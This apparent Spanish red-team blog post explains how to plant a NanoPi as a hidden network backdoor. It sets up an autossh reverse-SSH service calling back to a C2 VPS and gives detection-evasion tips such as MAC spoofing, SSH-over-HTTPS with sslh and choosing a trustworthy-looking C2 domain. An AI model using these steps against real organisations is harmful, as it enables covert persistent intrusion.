Red Team — Caso de uso de un Backdoor físico

He aquí una guía de como usar un pequeño dispositivo de bajo consumo para ejercicios de Red Team, más específicamente una NanoPi (Competencia de la Raspberry Pi). Se ha elegido este hardware por ser significativamente más pequeño que una Raspberry Pi, además de consumir menos energía.

El MITRE expuso una documentación sobre la metodología que debe tener un ataque informático cubriendo todos los pasos y disciplinas relacionadas con el hacking llamado ATT&CK. Uno de estos pasos es el Compromise Hardware Supply Chain que consiste en intervenir componentes de una empresa con hardware conectado directamente dentro de una red corporativa.

Existe una escena icónica en la serie Mr. Robot en donde Elliot instala una Raspberry Pi aprovechando la conexión de un climatizador. Este procedimiento es muy similar en el mundo real (obviando de que el video se trata de una serie), en donde usando habilidades de diseño grafico y usando herramientas de edición de imágenes junto con habilidades de ingeniería social es posible evadir los controles de seguridad de una corporación y acceder a la red desde dentro.

¿Cómo se originó esta publicación?

Con mi amigo Leonardo nos pusimos a hablar sobre tener una Van Hacker de preferencia un Mercedes Benz y de qué baterías y cuánto almacenaje debíamos utilizar para alimentar los accesorios electrónicos como notebooks, ampolletas y hardware necesario para un ataque tipo Red Team, teniendo una independencia de al menos 48h con la Van estacionada sin encender. Llegamos a la conclusión de que aún no tenemos el suficiente dinero para poder comprarlo, pero ahí surgió otro tema, cuánto duraría encendida una NanoPi NEO3 2GB (5V 2A) con una Power bank Redmi de 74Wh.

Calculando el consumo de la NanoPi

Para realizar el cálculo es necesario tener conocimientos básicos de electricidad, específicamente la Ley de Ohm y Potencia eléctrica, necesitamos saber que:

Potencia = Intensidad * Tensión

Eso traducido a unidades seria:

Watts = Amperes * Volts

Materiales

• NanoPi NEO3 2GB (5V 2A)
• Power bank Redmi de 74Wh
• Armbian Ubuntu 21.04 arm64

¿Cuánto tiempo dura encendida la NanoPi?

Si tenemos en cuenta de que el dispositivo en reposo consume aproximadamente 0.37A y es un dispositivo que usa 5V entonces podemos sacar un estimado de cuál es el tiempo máximo utilizable en una Power bank de 74Wh.

El consumo se calculó usando un sudo crontab -e donde contenía el siguiente código: * * * * * uptime >> /root/uptime.txt El registro se hizo con carga completa sin reiniciar o apagar el dispositivo.

Watts/h = 0.37 * 5
74/h = 1.85
h = 74/1.85
h = 40

Según los cálculos realizados en teoría la batería duraría 40 horas.

Acabo de encargar una batería de 111Wh por lo cual, si hacemos el nuevo cálculo tendríamos 60 horas de independencia.

Configurando el entorno

Diagrama de la conexión

La idea es que el Backdoor se conecte con la VPS, de esta forma nosotros nos conectaremos a la VPS desde cualquier parte del mundo. Lo que significa que la VPS actuará como intermediario para poder conectarnos a un Backdoor que esté en la red interna de una red corporativa.

Contratando el servicio de VPS

Para esto utilizaremos Vultr, un proveedor de servidores con planes versátiles para todo tipo de cosas, desde básicos hasta completos. En este caso solo necesitamos el plan más básico donde tengamos IPv4.

https://www.vultr.com/products/cloud-compute/#pricing

Configuración de la VPS para el servicio SSH

Para configurar la VPS correctamente, es necesario realizar un par de cosas:

• Cambiar puerto del SSH a 443
• Deshabilitar la autenticación por contraseña del SSH (Solo por llaves públicas)
• Deshabilitar la autenticación del usuario root por SSH
• Crear un usuario sin sudo

Parámetros necesarios en el archivo /etc/ssh/sshd_config:

Port 443
PasswordAuthentication no
PermitRootLogin no

Configurando el Backdoor: Creando un servicio de reverse SSH autoreparable con systemd

Con la siguiente secuencias de comandos generamos una llave pública SSH para luego subirla al servidor de Command & Control que utilizaremos para recibir la conexión SSH y crear un servicio donde la conexión sea perpetua.

sudo ssh-keygen
sudo ssh-copy-id attacker@c2.vay3t.org -p443
sudo apt install autossh -y
sudo nano /etc/systemd/system/ssh-reverse.service
sudo systemctl enable /etc/systemd/system/ssh-reverse.service
sudo systemctl start ssh-reverse.service

Código de ssh-reverse.service

Referencia: https://blog.devolutions.net/2017/3/what-is-reverse-ssh-port-forwarding

Instalando las herramientas en el Backdoor

Escribí un lamentable script en Bash para instalar las herramientas necesarias para el Backdoor, es necesario corregir algunas cosas como la instalación de los paquetes snap. You know ;)

vay3t/nanopi-example-installer

Conectándonos al perímetro interno

Desde el PC del atacante es necesario entrar al servidor VPS (En mi caso Vultr) al puerto 443 desde un cliente SSH.

ssh attacker@c2.vay3t.org -p 443

Luego teniendo shell nos conectamos por SSH al localhost usando el puerto 2222

ssh root@localhost -p 2222

¡Listo! Ya entramos en la red corporativa

Recomendaciones para alimentación del Backdoor

El usar una Power bank para alimentar nuestro dispositivo es bastante útil, pero si tenemos la oportunidad de evitar usarlo es aún mejor.

• Usar el USB de algún equipo de comunicación o servidor

Firewall pfSense

• Aprovechar un equipo de comunicación con PoE (Utilizar inyector PoE)

UCTRONICS PoE Splitter USB-C 5V

• ¡Enchufes!

Alargador de cualquier marca

También es posible alimentarla por GPIO, pero solo dejo el dato

Alternativas a la NanoPi

• LAN Turtle — Hak5 (Comentario: Haciéndole un update al juguete me encontré con esto)

LAN Turtle (Backdoor físico de Hak5)

• Raspberry Pi

Raspberry Pi (Recomiendo la de 4GB)

Problemáticas donde es necesario ocultarse del SOC/NOC

• Horario de conexión: Muchas veces en las empresas tienen controlado la cantidad de tráfico usado según sea el horario. Por ejemplo, de 9:00 a 18:00 el volumen de tráfico es mayor, entonces no es usual que los empleados se conecten a distintos sitios web, por lo tanto, el control de la red es menos estricto y minucioso. Entendiendo esto, si existe tráfico fuera de ese horario, será catalogado como inusual, por lo que el SOC/NOC estará en alerta ante cualquier tipo de conexión fuera de horario laboral. Es posible programar el horario de conexión que tendrá el Reverse SSH y así llamar menos la atención utilizando crontab.
• Conexiones a puertos y protocolos poco comunes: Otra medida de seguridad que es frecuente en las empresas y corporaciones es detectar conexiones a internet en puertos que no sean los comúnmente usados por los usuarios conectados a la red. Cabe destacar que en muchos casos con solo configurar el servidor para que el puerto de entrada sea el 443 llega a ser suficiente, en un ejercicio de Red Team no se puede correr ese riesgo, por lo cual es recomendado encapsular el tráfico SSH para que sea por HTTPS. La ventaja de realizar esta encapsulación es de evadir controles de seguridad como Reverse Proxies. Esto es posible de hacer con sslh, herramienta empleada para multiplexar protocolos.
• Detección de dirección MAC extraña: Una de las cosas más fáciles de hacer, pero más difíciles de concretar es conectar el Backdoor y que este no sea detectado como un dispositivo nuevo (Con nuevo quiero decir sospechoso porque no estaba registrado anteriormente en la red), esto es porque nos delata la dirección MAC. Es necesario cambiarlo, se puede hacer de muchas formas, sin embargo, con macchanger es posible llevar a cabo este cambio y quizás ayudado de crontab para hacerlo cada vez se inicie el sistema operativo (Recomendable utilizar el de algún dispositivo que estuvo en la red y que actualmente no esté en uso).
• Tener el servicio SSH expuesto en el Backdoor: En caso de que en la empresa efectúan una auditoria/enumeración/escaneo de la red es posible identificar el dispositivo con el respectivo puerto SSH abierto. Esto encenderá las alarmas y en el corto tiempo el término de la operación. Es necesario cerrar o filtrar todos los servicios usando algún firewall en Linux como firewalld o ufw evitando así la exposición del Backdoor.
• Realizar peticiones a internet desde la red interna: Esto representa un problema a la hora de ocultar los rastros. Toda petición hecha quedaría registrado en los Firewalls de la red corporativa, en este caso el SOC/NOC estarían atentos si uno de los dispositivos hace una petición a una dirección sospechosa como GitHub, Gitlab o Pastebin. Para solucionar esto es posible ocupar un chip de internet móvil o hacer las conexiones por el Proxy SOCKS hecho por el Reverse SSH. Las ventajas proporcionadas por el chip de internet móvil son mayores dado que no necesitas estar pendiente del horario de conexión.
• No tener control de los logs del Backdoor: Saber el estado actual del Backdoor es esencial, conocer tanto el uptime como enviar el output de un comando o simplemente saber si aún sigue activo. Todo esto es posible utilizando un Bot de Telegram o HealtChecks (Siempre y cuando se ocupe un chip de internet móvil).
• Usar dominio para C2 que no inspiren confianza: Una de las disciplinas del hacking es el arte del engaño, o sea mantener apariencias, ya que levantar la más mínima sospecha se traduce a una investigación interna que podría terminar descubriendo y finalizando el ejercicio. Una forma eficaz de no ser pillado es comprando un dominio que inspire confianza (con alguna wildcard conocida *.com *.org *.net) y montar en él una página web coherente con el dominio.

Cosas a tener en cuenta

• Cuando se accede de manera física al lugar siempre es útil tener una mochila o banano con todas las herramientas necesarias para la instalación del Backdoor, teniendo en cuenta todos los posibles escenarios dentro del recinto.
• Mientras más pequeño el dispositivo, más fácil de ocultar.
• El problema no es conectar el dispositivo, si no entrar al perímetro interno de la corporación.
• Es necesario tener total conocimiento de todas las formas que existen de detectar el dispositivo y tener un plan para evitarlo.
• Hak5 vende dispositivos para auditoría sin ni siquiera ser seguros.

Happy Hunting!